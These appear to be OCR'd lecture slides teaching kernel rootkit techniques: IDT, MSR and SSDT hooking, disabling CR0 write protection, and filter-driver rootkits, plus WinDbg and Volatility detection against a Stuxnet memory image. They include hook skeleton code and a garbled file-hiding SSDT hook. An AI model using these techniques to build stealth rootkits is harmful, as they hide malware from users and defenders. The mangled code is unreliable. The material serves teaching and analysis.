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Ring 3
Least privileged

System Call =
WinAPI (Windows)

\ : ; Most privileged
'11 Device drivers

Device drivers

Applications

e
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Rootkit (Kernel Mode)

» Kernel Mode Rootkits are installed as either drivers (SYS) or Kernel
Modules (DLL)

= Most rootkits target 32-bit Windows OS’s

» 64-bit Windows architectures require drivers to be signed by Microsoft
before they can be installed

= To subvert this, attackers will:

— Install a valid, signed driver with a known exploit
— Use stolen signing certificates
— Exploit the kernel itself
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Rootkit (Kernel Mode)

<notepad.exe>

Code in User Mode Code
User Comdlig32.dll Msvert.dll !
Space omdIg32. svcrt.
Ring 3 Advapi32.dll User32.dll Gdi32.dll
(00000000 - LOSSE c
7FFFFFFF)
Kernel32.dll
Ntdll.dll
v
I ‘ System Call / INT 2E
Ring O
(80000000 - HAL.dI
FFFFFFFF)
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Call FindNextFile

FindNextFile:
K 132.dll
Call NtQueryDirectoryFile ernel32.d SUser
pace
INT 2E NtQueryDirectoryFile: -
> MOV EAX, XX Ring 3
INT 2E/SYSENTER A (00000000 -
7FFFFFFF)
Kernel
IA32_SYSENTER_EIP -
Ring 0
i i 80000000 -
Interrupt Descriptor Table (IDT) System Serv(;:se[I)J-I!)spatch Table (FFFFFFFF)

System Service Dispatcher

(KiSystemService)

Backup Driver

AV Filter Driver NtQueryDirectoryFile

NTFS Driver

Volume Manager Disk Driver
BT

I/O Manager

OS Kernel

BIOS, PCI ROM

Hardware
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Call FindNextFile

1. Userland Hooking

Backup Driver

AV Filter Driver

NTFS Driver

Volume Manager Disk Driver
BT

System Service Dispatcher
(KiSystemService)

NtQueryDirectoryFile

I/O Manager

OS Kernel

BIOS, PCI ROM

FindNextFile:
K 132.dll
Call NtQueryDirectoryFile ernel32.d SUser
pace
INT 2E NtQueryDirectoryFile: -
> MOV EAX, XX Ring 3
INT 2E/SYSENTER A (00000000 -
7FFFFFFF)
|
Kernel
IA32_SYSENTER_EIP -
Ring 0
i i 80000000 -
Interrupt Descriptor Table (IDT) System Serv(;:se[I)J-I!)spatch Table (FFFFFFFF)

Hardware




*The most classic of all kernel rootkit techniques

=Simple to implement, simple to detect

= Still widely used

— Often in conjunction with other techniques

Page =8



Call FindNextFile

FindNextFile:
K 132.dll
Call NtQueryDirectoryFile ernel32.d User
Space
INT 2E NtQueryDirectoryFile: -
> MOV EAX, XX Ring 3
INT 2E/SYSENTER Ntdll.dll (00000000 -
7FFFFFFF)
|
Kernel
IA32_SYSENTER_EIP -
Ring 0
i i 80000000 -
Interrupt Descriptor Table (IDT) System Service Dispatch Table (FFFFFFFF)
(SSDT)
g System Service Dispatcher
(KiSystemService)

2.IDT
HO o) kl N g s ) Backup Driver

AV Filter Driver NtQueryDirectoryFile

NTFS Driver

1/0 Manager

Volume Manager Disk Driver

OS Kernel

Hardware
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Interrupt Descriptor Table Hooking (IDT Hooking)

= Base address of the IDT is stored in the IDTR

* [n order to hook a specific Interrupt, a rootkit just changes the pointer in
the IDT to their own malicious function

= SIDT and LIDT instructions

— Used to read/write to/from the IDTR register

01: 82693390 nt!KiTrapll
) 03 52592000 nt 1kiTrap0d
— Each processor has it’s own IDTR and IDT
0s: 82693228 nt |KiTraplS
06: 82693c8c nt |KiTraple

kdr lidt -a

07: 582694258 nt |KiTrapl?

1 1 1 08: Task Selector = 0x0050
* This means that a rootkit will have to hook each IDT & & e
Oa: 826947de nt |KiTrapld
Ob: 8269491c nt |KiTraplB
I[=H 82694k7e nt | KiTraplC
0d: 82694ebc nt | KiTraplD
Oe: 8269551c nt | KiTraplE
0f: 826958d0 nt!KiTraplF

ol e 5= 100  826959f4 nt!|KiTrapld

11:  82695b34 ntlKiTrapll
1%: gisEsSeéector_§ DngAD
loc 4811B5: 13: 2695ca nt!RE; rapl
. — 14: 826958d0 nt!|KiTrap0F
sidt fuord ptr [ebptuar 428] 12: g%gggggg nt!Eigrapgg
— 16: 2 nt | KiTrap
mov eax, dword ptr [ebp+var_u28+2] 17! 826958d0 nt!KiTrapOF
mov [ebp+var_428], eax 13: gggggggg “"E‘?“EE
— 19: nt ! KiTrap
push offset Hame la:  826958d0 nt!|KiTrapOF
push a ; bInitialOwner b B26350d0 nt\Rilraplk
. (= nt | KiTrap
push a ; lpHutexattributes 1d: 82695840 nt!KiTrap0F
- le: 82695840 nt!KiTraplF
call ?SGErEatEﬂg;ﬁ‘xﬂ 1f: 82632af8 hall!HalpipicSpuriousService
mov ebp+var , Bax 200 00000000
= 21:. 00000000
mou ecx, [ebp+uar_ 428] 53 00D0DDan
shr ecx, 18h 23:; 00000000
24: 00000000
cmp ecx, BFFh 25: 00000000
jz loc 48132D 26: 00000000
= — 27. 00000000
28: 00000000
29. 00000000
2a: 82692872 nt | KiGetTickCount
Page = 10 2b:  82692a00 nt!KiCallbackReturn

2c: 82692b3c nt!KiRaisehssertion
2d: 826936d8 nt!KiDebugService
2e: 8269222 [ANEES S

2f - B2AR958AN nt K1 TraniF



IDT Hooking

1. Define custom_syscall _handler
with hook logic and call original
handler.

2. On module load, save original
syscall handler from idt_table.

3. Overwrite idt_table entry with
custom_syscall _handler.

4. On module unload, restore original
syscall handler in idt_table.
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include <linux/module.h>
include <linux/kernel.h>
include <linux/interrupt.h>
include <linux/syscalls.h>

void (*koriginal_syscall_handler)(void);

void custom_syscall_handler(void) {

printk("syscall hooked!\n");

original_syscall_handler();
1
1y

static int __init hook_init(void) {

int syscall_vector = 0x80;

original_syscall_handler = (void (x)(void))idt_table[syscall_vector].address;

idt_table[syscall_vector].address = (unsigned long)custom_syscall_handler;

return 0;
F

static void __exit hook_exit(void) {

int syscall_vector = 0x80;

idt_table[syscall_vector].address = (unsigned long)original_syscall_handler;
1
J

module_init(hook_init);

module_exit(hook_exit);
MAONRDIILE | TCENCEMCSDL MY .



IDT Hooking Problems

* This technique is old
— As of 2009, INT 0x2E was made obsolete
» SYSENTER is now used to perform syscalls

— Interrupt hooking is easy to detect
= No way to filter results of an interrupt

— The rootkit's hook function is just pass-through code that is executed before the
interrupt handler
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Call FindNextFile

Hooking

_ i System Service Dispatcher

(KiSystemService)

Backup Driver
AV Filter Driver NtQueryDirectoryFile

NTFS Driver

I/O Manager

Volume Manager Disk Driver

OS Kernel

Page = 13

BIOS, PCI ROM

FindNextFile:
Call NtQueryDirectoryFile Kernel32.dll SUSGF
pace
INT 2E NtQueryDirectoryFile: -
> MOV EAX, XX Ring 3
INT 2E/SYSENTER Ntdl.dll (00000000 -
7FFFFFFF)
|
Kernel
IA32_SYSENTER_EIP -
Ring 0
i i (80000000 -
Interrupt Descriptor Table (IDT) " Serv(;:tsesb-ll)spatch Table FFFFFFFF)

Hardware




Machine Specific Register Hooking (MSR Hooking)

= This is how we hook SYSENTER

— SYSENTER switches to kernel-mode using three MSR’s
« |IA32_SYSENTER CS — 0x174, 16-bit selector of ring O code segment

« |A32_SYSENTER EIP — 0x176, 32-bit offset into ring O code segment
 [A32_SYSENTER_ESP — 0x175, 32-bit stack pointer for ring O stack

= Just like the IDTR, there are instructions for accessing the MSR'’s
— RDMSR and WRMSR - read/write MSR

— MSR’s are processor specific just like IDT’s

nt | KiFa=stCal l1Entry

10h
f

|J.-: i

174h is the CS Register. ock.dverd pir de [ OFFDFFO40k ]
175h is the ESP Register. ov  gsp.dvord pr [ecxi]
176h is the EIP Register.
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#include <linux/module.h>
MSR HO O k i n g #include <linux/kernel.h>
#include <linux/syscalls.h>

#include <asm/msr.h>

1. Read Original MSR LSTAR Value unsigned long original_syscall;
(System Ca” entry addreSS) USing rdmsrl. asmlinkage int (xoriginal_syscall_function) (const struct pt_regs *);

asmlinkage int hooked_syscall(const struct pt_regs xregs) {

2. Save original system call address to
original_syscall_function pointer.

printk("syscall hooked!\n");

return original_syscall_function(regs);

3. Write hooked_syscall function ;
address to MSR_LSTAR register.

static int __init hook_init(void) {

rdmsr1(MSR_LSTAR, original_syscall);

4. Inside hooked_syscall: add hook logic,
then call original_syscall_function.
original_syscall_function = (void *x)original_syscall;
5. When unloading, restore MSR_LSTAR

to Orlglnal Value USlng Wrmsrl wrmsr1(MSR_LSTAR, (unsigned long)hooked_syscall);

return 0;
1
J

= More modern than IDT hooking

static void __exit hook_exit(void) {

= Stl” easy to detect, and Only wrmsr1(MSR_LSTAR, original_syscall);
provides passthrough functions ‘

module_init(hook_init);
Page = 15 module_exit(hook_exit);
MODULE_LICENSE("GPL");
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Call FindNextFile

FindNextFile:
Call NtQueryDirectoryFile Kernel32.dll
INT 2E NtQueryDirectoryFile:
> MOV EAX, XX
INT 2E/SYSENTER Ntdll.dll

IA32_SYSENTER_EIP

Interrupt Descriptor Table (IDT) System Service Dispatch Table

(SSDT)

_ i System Service Dispatcher

(KiSystemService)

Backup Driver

AV Filter Driver NtQueryDirectoryFile

NTFS Driver

I/O Manager

Volume Manager Disk Driver

OS Kernel

BIOS, PCI ROM

User
Space
Ring 3

(00000000 -
7FFFFFFF)

Kernel

Ring 0
(80000000 -
FFFFFFFF)

Hardware




SSDT Hooking

“Tables” in Windows

* |JAT = Ring3, Windows DLL

* IDT - Ring0 Hardware related

* GDT ->> Ring0 Memory Segment Info
» SSDT -> Ring 0Storage function

* IRP - RIingO0 IRP driver
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System Descriptor Table Hooking (SDT, SSDT)

In 32-bit OS, the SSDT address is exported by ntoskrnl.exe under the
name of KeServiceDescriptorTable. There are slots for four different
entries, but Windows only used two of them so far:
KeServiceDescriptorTable and KeServiceDescriptorTableShadow

When a user-mode application uses sysenter, the application
provides the function number or ID in the eax register. This value In
eax Is divided in the following way

EAX:

bits 0-11:

The System Service Number (SSN): index of this function in the SSDT
bits 12-13: This is the Service Descriptor Table (SDT), which represents
the SSDT number (0x00 or 0x01)
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System Descriptor Table Hooking (SDT, SSDT)

The SSDT contains four elements:
KiServiceTable <-- array of function address
CounterBaseTable

nSystemCalls

KiArgumentTable
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typedef struct _KSYSTEM_SERVICE_TABLE

{
PULONG ServiceTableBase:

PULONG ServiceCounterTableBase;
ULONG NumberOfService;
ULONG ParamTab leBase:

} KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE;
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System Descriptor Table Hooking (SDT, SSDT)

» SSDT resides in read-only memory

— Rootkits have to disable and then re-enable the Write Protection (WP) bit in
the CRO register

» Rootkit authors could also map a Memory Descriptor List (MDL) over the
SSDT

loc_4113C0: loc_4113EDQ:

push ebx push ebx

mou ebx, cr@ maow ebx, cr@
and ebx, BFFFEFFFFh and ebx, 10008h
mowy cr@, ebx mow cr@, ebx
pop ebx pop ebx

Disable Write Protection (WP) Enable Write Protection (WP)
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Registers available in the x86-64 instruction set

ZMMO _[YMMO_[XMMO ]| ZMM1 | YMML_[XMML ] | ST(0) MMO || ST(1)[MM1
(zMM2  [YMM2_[xMM2 ][ZMM3  [YMM3 [xMM3 ]| [ST(2
(zMM4  [YMM4 [xMM4 ][ ZMM5  [YMM5_[XMM5 ]| [ST(4

(1) [EIAXEAX|RAX|[[T o] veo] Re|[F=fuzvirzoR12| | CRO | CR4 |
[MM2 || sT(3)[MM3 || [ETeXEBX|RBX||[E ] wse] Ro|[EZusroR13] | CR1 || CRS5 |

(5)

(7)

)
)MM4 || sT(5)[MM5 || [EEIcXECX|RCX|[EovrooR 10| [ffusasoR 14| | CR2 || CRS6 |

(zMM6  [YMM6 _[xMM6 ][zZMM7  [YMM7_[xmm7 ]| [ST(6)[MM6 | ST(7)[MM7 || [EESDXEDXRDX|[EshfrucR11][EusfsoR15] [ CR3 || CR7 |
(ZMM8  [YMM8 [xMM8 ][ ZMM9  [YMM9_[xmmMs || [Ez3erEBPRBP| [ DiEDIRDI| [P EIR|RIP| [ CR3 || CRS |
(zMM10  [YMM10 xMMm1o]| zMM11 [YMM11 [xmmid]| | cw [Fp_IP [FP_DP|FP_cs| [Ed sIEsIRsl| [EdsPESPRSP]
ZMM12 |[YMMI12 [XMM12]|ZMM13 [YMM13 [XMM13] | SW CR10
| | | [sw |
’ ZMM14 |Y|V|M14 \XMM14|\H ZMM15 ‘YMM15 |XMM15H‘ ‘ ™w ‘ [ | 8—bit. regis.ter B 32—[)?t1'eg?ster [ | 80—bit' regis'ter B 256—bit regfster
B 16-bit register || 64-bit register || 128-bit register ] 512-bit register

I ZMMIGH ZMMl?H ZMM18|| ZMM19H ZMMZOH ZMMZl“ ZMM22H ZMMZB‘ IFP_DS‘
’ZMMZAHZMMZSH ZMM26|| ZMMZ?H ZMMZSH ZMMZQH ZMMSOH ZMMSI‘ IFP_GPCHFP_DPHFP_IP‘ ‘ ) H SS ’ DS l ‘ GDTR ] IDTR DRO H DR6 I ‘CRlB‘

| Es | Fs | es || TR | LDTR || DR1 | DR7 | |CR14]

[l RFLAGS DR2 | DR8 | | CR15 |MXCSR|

[ DR3 || DR9 |

DR4 |DR10| DR12 | DR14
DR5 | DR11| DR13| DR15
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Backup the original one

0ID BackupSysServicesTable ()
ULONG 1;

{ KeServiceDescriptorTable—>ntoskrnl. NumberOfService) && (i <

rviceAddr[i])) :
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ZwWCreateFile VS NtCreateFile

= kd> u Ntdll! ZwCreateFile L4
= ntdll!ZwCreateFile:
= 77f87cac b820000000 mov  eax,0x20

= 77f87ch1 8d542404 lea  edx,[esp+0x4]
= 77f87cb5 cd2e int 2e
= 77f87cb7 c22c00 ret Ox2c

= kd> u Ntdll' NtCreateFile L4

* ntdll'ZwCreateFile:

= 77f87cac b820000000 mov eax,0x20

= 77f87cbl 8d542404 lea edx,[esp+0x4]
= 77f87¢cb5 cd2e Int 2e

= 77f87¢cb7 c22c00 ret 0Ox2c
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ZwOpenProcess at Ring0

= |kd> u nt!ZwOpenProcess

= nt!ZwOpenProcess:

» 804de044 b87a000000 mov eax,7Ah

= 804de049 8d542404 lea edx,[esp+4]

= 804de04d 9c pushfd

» 804de04e 6a08 push 8

» 804de050 e8dc150000 call ntIKiSystemService (804df631)
= 804de055 ¢21000 ret 10h
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NTSTATUS InstallSysServiceHook (ULONG

ULONG uOldAttr = O:

EnableWriteProtect (&u0ldAttr) ;
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System Descriptor Table Hooking (SDT, SSDT)

\ m

Base

Before Hook: / count

Function O

\. FunCt|on I

Base

After Hook: z

Unnt



. NTST AT US HookNQu enyDirecto ryFile(

. __in HANDLE FleHan die,
. __in_optHANDLE Event,

. _in_0ptPIO_APC_RD UTINE ApcRoutine,

. __in_optP\O ID ApcContext

. _ouPIO_STATLS_BLOCK loStat usHock

. _outPVOID Flel rfom ation

. _in WLONG Length,

. __in ALE_INFORMATION_ QL ASS Flel nfom ationClass,
. __in BOO LEAN Retur nSin glefnty,

. __in_optPUN 0 [E_STRING FleName,

. __in BOO LEAN RestartScan

. )

. (

. NTSTATUS 1t Satus;

. PFILE_BOTH_DIR_INFORMATIO N pCur fFileln fo

. PFILE_BOTH_DIR_INFORMATIO N pPreFilelnfo = NULL ;
. UNICODE_STRING uniF it Name;

pCurfleinfo= (F ILE_BOTH_DIR_INF ORMATIO NF lel form ation;
. POIdNIQ ueyDirect oryF le = (NTQUERYDIRECTORY Fl LE) oldSysSenviceAdr{S Y SCALL INDEX(ZQ ueryDirect oryFle)]

19 s = POINIQ ueryDirect onyFle(

. FleHan die,
. Even.
. ApcRoutine,
. ApcContext,
. loStat usElock
. el nfomn aion,
. Lengh,
. Flelnfom aionClass,
. ReturnSi glen y,
. FleName,
. ResiartScan
. )
Rulni me, pCur
. if(Nr_SUGCESS(t Saus){
. if (FleBoth Oir ectoryl nform ation == F lel nform ationClass){
. while (pCur rFileln fo}
. It ValidateF it Ne ecide(uri i Narme) 1= -1){
. if (e memp(pCur Fleln fo>FleName.L " 6= =0}
. it (pPreFileinfo 1= NLL LY
. if (pCur Fileln o->NextEnt yOfiset
. pPreFlenfo->NexiEniryOfset = 0
. )
. dse
. 1
. pPreF| yOffset = pCur rFil yOffset + pPref | ‘yOffset.
. )
. ]
. dse
. (
. if (pCur rFileln fo->NextEntr yOffset
. {
. Flelnfomn ation = NJLL.
. aise(
. (PCHAR)F Iel nfonn ation += pCrFleln fo->NextE ir yOfset
. )
. )
. )
. pPreFillnto = pCur ileln o

if (pCur Fleln fo->NextEntr yOfse 1= 0

. pCurfleinfo= (F ILE_BOTH_DIR_INF ORMATIO N (P CHAR)pCur fileln foj peur Filein fo->NextEnir yOffsed);
. }

. else

. {

. pCur fleinfo= NJLL;
. }

. }

. ¥

. }

. fetum it Sats,

. }
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Trojan

» SSDT.sys

A
r N

Hook NtQuerySrsinformation

Hook NtQueryDictionaryFile

Hook TerminateProcess

oo0

info

info

info



System Descriptor Table Hooking (SDT, SSDT)

= With WP off, the attacker swaps a new address into the target address
— Declare the original syscall prototype (e.g., ZwSetValueKey())
— Declare a corresponding function ptr (e.g., ZwSetValueKeyPtr)
— Define a function ptr (e.g., oldZwSetValueKey)
— Implement a hook routine (e.g., newZwSetValueKey())
— InterlockedExchange() to swap in a ptr to new function
« The new function can execute the old syscall, and filter the results
— Hook ZwQueryDirectoryFile() to hide directories
— Hook ZwQuerySystemInformation() to hide processes
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SSDT Example = Using WinDBG to Debug Kernel

com:port=\\'\pipe\debug,baud=115200,pipe,reconnect - KD 'com:port:\\\pipe\debug,baud:115200.pipe,reconnect', Default Connection -

WinDbg 1.2202.7001.0
Home View Breakpoints Time Travel Model Scripting Source Memory Command
II ’ {F Step Out "{} Step Out Back % Restart Pl ‘Pn':gq o E
P) Step Into | {*} Step Into Back W Stop Debugging ! ot
Break Go w1 il sl 5 A Settings |Source| Assembly  Local Feedback
L1 {)* Step Over = *{} Step Over Back Back | @ Detach A Help~  Hub
Flow Control Reverse Flow Control End Preferences Help
|8
2 | 80afeobe b825000000 mov eax,25h
2 | 804fedb5 8d542404 lea edx, [esp+4]
IS | 8e4felb9 9c pushfd
S  804feoba 6a08 push 8
g 804felBbc e8def50300 call nt!KiSystemService (8053d691)
|2 | 804febBcl c22c@0 ret 2Ch
g nt!ZwCreateIoCompletion:
804felc4 bB2600LOOR mov eax,26h
804fe0c9 8d542484 lea edx, [esp+4]
804fedcd 9c¢ pushfd
804fedce 6208 push 8
804fe0d0 eB8bcf50300 call nt!KiSystemService (8053d691)
804fe@d5 c210e8 ret 18h
nt!ZwCreateJobObject:
804feod8 b827000000 mov eax,27h
804feodd 8d542404 lea edx, [esp+4]
804fe@el 9c pushfd
804fede2 6208 push 8
804feled4 eBaB8f50300 call nt!KiSystemService (8053d691)
k> |
TR ] R
Name Value Tyf | [0x0] = nt!RtipBreakWithStatusInstruction (80527¢
<1 l ]
Locals | Watch Threads

similar to OllyDbg
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WIinDBG Kernel Debugging

Host computer Target computer

Debug cable:
USB, 1394, or serial
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WIinDBG Kernel Debugging

fcomiport=\\\pipe\debug,baud=1 15200, pipe,reconnect - KD ‘com:port=\\pipe\debug,baud=115200,pipe,reconnect’, Default Connection -WlnDbg 122027001 0

Home View Breakpoints Time Travel Model Scripting Source Memory Command
ll ’ {'F step out | 1} step Out Back 4 %) Restart i"_ L , o, e E
Al . \ ] wil (i J
et P} Step Into ([} Step Into Back il M Stop Debugging ~ b e
2a 0 Go Settings | Source| Assembl Local Feedback
" ] i b Lt 9 y oca [
{}t Step Over ' ¥{} Step Over Back .. | A Detach il Hafise | H
Flow Control Reverse Flow Control End Preferences Help

Command ¥
P o = T e 5 Y

Opened \\.\pipe\debug

Waiting to reconnect...

Connected to Windows XP 2608 x86 compatible target at (Wed Mar 23 21:31:38.012 2822 (UTC - 4:00)), ptr64 FALSE

Kernel Debugger connection established.

Symbol search path is: srv*

Executable search path is:

Windows XP Kernel Version 2680 (Service Pack 3) UP Free x86 compatible

Product: WinNt, suite: TerminalServer SingleUserTS

Edition build lab: 2600.xpsp_sp3_qgfe.130704-0421

Machine Name:

Kernel base = ©x804d7008 PslLoadedModulelist = ©x805541c@

Debug session time: Wed Mar 23 21:31:33.031 2022 (UTC - 4:00)

System Uptime: © days ©:01:27.806

Break instruction exception - code 80000003 (first chance)

*******************************************************************************
*

*

*  You are seeing this message because you pressed either *

L2 CTRI+C (if vou run consnle kernel debhusser) or *
[kd> |
Locals [ i & X | |Threads

Name Value Ty | [0x0] = nt!RtlpBreakWithStatusInstruction (80527di

LI | ’

Locals | Watch Threads | Stack  Breakooints

Kernel Base = 0x804D 7000 - where ntoskrnl.exe loaded.
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WIinDBG Kernel Debugging

Commanc

1l EZ?ch nt!ZWCreateFile L50©

i | nt!ZwCreateFile:
£ | 804fe@be b825000000 mov eax,25h
= | 804fedb5 8d542404 lea edx, [esp+4]
I | 804fe@bd 9c pushfd
| | 804febBba 6a08 push 8
?  804fedbc e8dBf50300 call nt!KiSystemService (865%@691)
804feBcl c22c00 ret 2Ch
nt!ZwCreateIoCompletion:
804feOc4 b826000000 mov eax, 26h
804fe0c9 8d542404 lea edx, [esp+4]
804febcd 9c pushfd
804feOce 6208 push 8
804fe@d@ e8bcf50300 call nt!KiSystemService (8053d691)
| 804fe@d5 c21000 ret 1eh
[ | nt!ZwCreateJobObject:
;? 804fe@d8 b827000000 mov eax,27h
| | 804feedd 8d542404 lea edx, [esp+4]

| 804fe@el 9c pushfd

NZADSR

u nt!ZwCreateFile L50 - put 25 into EAX and then call KiSystemService
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Observing a clean SSDT

TRV

1 TERRTITG

Rl t i";”" LR R AR :
everse Flow Control

_=Tre >

kd> dds KiServiceTable
| | 80501c80 806599b8a nt!NtAcceptConnectPort

| | 86501c84 8@5e790e nt!NtAccessCheck

| | 86501c88 805eb154 nt!NtAccessCheckAndAuditAlarm

80501c8c 805e7940 nt!NtAccessCheckByType

i 80501c9@ 805ebl8e nt!NtAccessCheckByTypeAndAuditAlarm

80501c94 805e7976 nt!NtAccessCheckByTypeResultlList

80501c98 805ebld2 nt!NtAccessCheckByTyﬁ?ResultListAndAuditAlarm

| 89501c9c 805eb216 nt!NtAccessCheckByTypeResultListAndAuditAlarmByHandle
| 80501ca® 8060cbo8 nt!NtAddAtom

80501cad 8060d84c nt!NtSetBootEntryOrder

| 80501ca8 805e2cf4 nt!NtAdjustGroupsToken
80501cac 805e294c nt!NtAdjustPrivilegesToken
80501cb® 805cb@d4 nt!NtAlertResumeThread
80501cb4 805cbe84 nt!NtAlertThread

80501cb8 8060d12e nt!NtAllocatelLocallyUniqueld
80501cbc 805ab818 nt!NtAllocateUserPhysicalPages
| | 80501cc@® B8060c746 nt!NtAllocateUuids

[~ R0501ccd4 RPA59e0PA nt INtAllocateVirtualMemorv
Ckd> |

ehss Name Value

dds KiServiceTable
dds KiServiceTable L 18a - first 18a pointers
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Download and run SSDT Hook
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Observing a hooked SSDT

|pe,reconnect KD ‘com: port \\\plpe\debug,baua =11520(

| Breakpoints Time Travel Model Scnptmg e
S‘tbp out ) Step Out Back q ) Restart [fj ‘ . o E
l O~ p g il
| F} StepInto  {*] Step Into Back M Stop Debugging = I — s
reak” Go i Go Settings |Source| Assembly  Local Feedback

W Step Over. . *{(} Step Over Back . = 4 Detach | Belpe  Hub

\

Flow Control Reverse Flow Control End Preferences Help

80501d560 8@5b97fe nt!NtCreateSymbolicLinkObject
80501d54 805c748e nt!NtCreateThread
| 80501d58 806@dd8a nt!NtCreateTimer
| 89501d5c 8@5eff4a nt!NtCreateToken
| 89501d60 8059a66a nt!NtCreateWaitablePort
| 80501d64 80632206 nt!NtDebugActiveProcess
| 80501d68 8@63ab56 nt!NtDebugContinue
| 80501d6c  8060d79cC nt!INtDelayExecution
80501d70 8e60cfbe nt!NtDeleteAtom
80501d74 8B5be72e nt!NtDeleteBootEntry
80501d78 8056ceBe nt!NtDeleteFile
80501d7c 8061b428 nt! NtDeleteKey
80501d80 805eb79a nt!NtDeleteObjectAuditAlarm
N B0501d84 faebd158 SSDTHook+@x1158

80501d88 8056e634 nt!NtDeviceIoControlFile
80501d8c 80609dd8 nt!NtDisplayString
80501d98 885b3ab8 nt!NtDuplicateObject
80501d94 805e3ba2 nt!NtDuplicateToken
80501d98 8060d84c nt!NtSetBootEntryOrder

AT T R I R e |

it | MR I
i it LR
‘ Value il

L L

dds K|Serv|ceTabIe
dds KiServiceTable L 18a - first 18a pointers
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SSDT Hooking Problems

» Relatively straightforward to implement

= Provides the ability to filter system calls!

= On it's own, still trivial to detect
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Call FindNextFile

FindNextFile:
Call NtQueryDirectoryFile Kernel32.dll SUSGF
pace
INT 2E NtQueryDirectoryFile: -
> MOV EAX, XX Ring 3
INT 2E/SYSENTER Ntdl.dll (00000000 -
7FFFFFFF)
Kernel
IA32_SYSENTER_EIP -
Ring 0
i i (80000000 -
Interrupt Descriptor Table (IDT) System Serv(;:tsesb-ll)spatch Table FFFFFFFF)

_ i System Service Dispatcher

6. Filter
Driver

(KiSystemService)
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Backup Driver
AV Filter Driver

NTFS Driver

I/O Manager

Volume Manager Disk Driver

BIOS, PCI ROM

5. Code
Patching

NtQueryDirectoryFile

OS Kernel

Hardware




Windows Driver 101

Application

.

Windows Operating System

:

Driver |e »( Deui{:e)

This make drivers pretty complex and cumbersome to implement.
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Windows Driver 101
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Application

Windows Ope

rating System

o0 N et e i -

Driver |«

Application

»
A4

- Device

t”\\ Windows Operating System

L T Tp——— - —

pus e

Driver 1
(filter driver)

v
Driver 2
(filter driver)
A

Driver 3
(function driver)

= e ——

Device



Windows Driver 101

Upper-level
filter driver

Function
Driver

Lower-level
filter driver

Device Drivers

Bus Drivers L sssuoreeiteres,

Bus Filter
Driver

Bus Driver

Driver Stack
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Device Object and Driver Stack
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Device Stack 1

Filter Device
Obiect

Functional
Device Object

{

=3
isrowen
o

Physical
Device Object

Device 1

Kernel Subsystems

Driver Stack

Filter Driver

Function Driver

Filter Driver

Bus Driver

Device Stack 1

Filter Device
Obiect

Functional
Device Object

E3
Ecn
=5

Physical
Device Object

Device 2




Filter Driver Rootkit
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Device Stack 1

Filter Device
Obiect

Functional
Device Object

{

=3
isrowen
o

Physical
Device Object

Device 1

Kernel Subsystems

Driver Stack

Filter Driver

Function Driver

Filter Driver

Bus Driver

Device Stack 1

Filter Device
Obiect

Functional
Devnce Object

Filter Device
Obiect

Physical
Device Object

Device 2




Filter Driver Rootkit

I/O Manager
¢—APC

L5 (IopCompleteRequest) -I

I/0 Manager DeviceObject o Driver 1
(IoCallDriver) On StackTop Routine
IRP

DeviceObject | Driver 1 DeviceObject

On StackTop Dispatcher In the Middle

IRP Rootkit

DeviceObject | _ Driver 2 DeviceObject
In the Middle Dispatcher in StackBottom [~

IRP

DeviceObject | _ (* Driver3 /O Manager |
in StackBottom Dispatcher (IoCompleteRequest) 48
2

K

IRP Complete
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STUXnet

il
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STUXnet

A
COMPUTER
VIRUS

s OIUXNET

, vy
"‘ﬁ’{ e
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STUXnet

Software 2 The virus Is controlled from servers In Denmark “nt','.::;:
sabotage and Malaysla with the help of two Internet PR
Mo Bt ) addresses, both registered to false names. The virus oiisichaiost
W St b7 Infects some 100,000 computers around the world.
disrupted t ‘
Iran'suranium :
enrichment program _
1 The malicious compute ’ j j ‘
worm probably enterec N
mﬁ&? rs“:::,ﬂ: cut e \ 3 Stuxnet spreads 4 The computer worm
from the outside worle through the system until  varles the rotational F
at the uranium entiet It finds computers 1s_ﬁeed of the centrifuges. 8
facllity In Natanz viaa running the Slemens Is can destroy the =
removable USB mema control software Step 7,  centrifuges and Impalr =
stick. which Is responsible for  uranium enrichment.
regulating the rotatlional
speed of the centrifuges.

5 The Stuxnet attacks start In June
2009. From this point on, the number EX:ES
of Inoperative centrifuges Increases
sharply.

Feb.1, May31 12 Nov. 2 Jan, 29, 24
Source: IAEA, ISIS, FAS, World Nuclear Assoclation, FT research 2009 EAE . 2010 Moy



Analysis STUXnet Memory Dump Image

https://github.com/volatilityfoundation/volatility
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https://github.com/volatilityfoundation/volatility

Analysis STUXnet Memory Dump Image

[quakeOday@archlinux ~]$ python2 /usr/bin/vol.py -f stuxnet.vmem devicetree

DRV 0x022e54f8 \Driver\MRxNet

---| DEV 0x82125f10 FILE DEVICE DISK FILE SYSTEM
DEV 0x81dc49cO FILE DEVICE DISK FILE SYSTEM
DEV 0x81fd59c0® FILE DEVICE CD ROM FILE SYSTEM
DEV 0x81c8b500 FILE DEVICE CD ROM FILE SYSTEM
DEV 0x821354b8 FILE DEVICE NETWORK FILE SYSTEM
DEV Ox81f0fc58 FILE DEVICE NETWORK FILE SYSTEM
DEV 0x81c0a910 FILE DEVICE NETWORK FILE SYSTEM
DEV 0x8226efl1l0 FILE DEVICE CD ROM FILE SYSTEM
DEV 0x81f0ah90 FILE DEVICE DISK FILE SYSTEM
DEV 0x81fh9680 FILE DEVICE DISK FILE SYSTEM
DEV 0x82104700 FILE DEVICE DISK FILE SYSTEM




Analysis STUXnet Memory Dump Image

[quakeOday@archlinux ~]$ python2 /usr/bin/vol.py -f stuxnet.vmem devicetree

DRV 0x0205e5a8 \FileSystem\vmhgfs
---| DEV 0x820f0030 hgfsInternal UNKNOWN
---| DEV 0x821al1030 HGFS FILE DEVICE NETWORK FILE SYSTEM
| ATT Ox81f5d020 - \FileSystem\FLltMgr FILE DEVICE NETWORK FILE SYSTEM
| ATT 0x821354b8 - \Driver\MRxNet FILE DEVICE NETWORK FILE SYSTEM

DRV 0x02476da0 \FileSystem\Cdfs
---| DEV 0x8le636c8 Cdfs FILE DEVICE CD ROM FILE SYSTEM
| ATT _0x81fac548 - \FileSystem\FltMar FILE DEVICE CD ROM _FILE SYSTEM
t| ATT 0x8226efl® - \Driver\MRxNet FILE DEVICE CD ROM FILE SYSTEM

DRV 0x023ae880 \FileSystem\MRxSmb
---| DEV 0x81da95d0 LanmanDatagramReceiver FILE DEVICE NETWORK BROWSER
---| DEV 0x8lee5030 LanmanRedirector FILE DEVICE NETWORK FILE SYSTEM
| ATT_0x81bf1020 - \FileSvstem\FltMar FTIF DEVICE NETWORK FTIE _SYSTEM

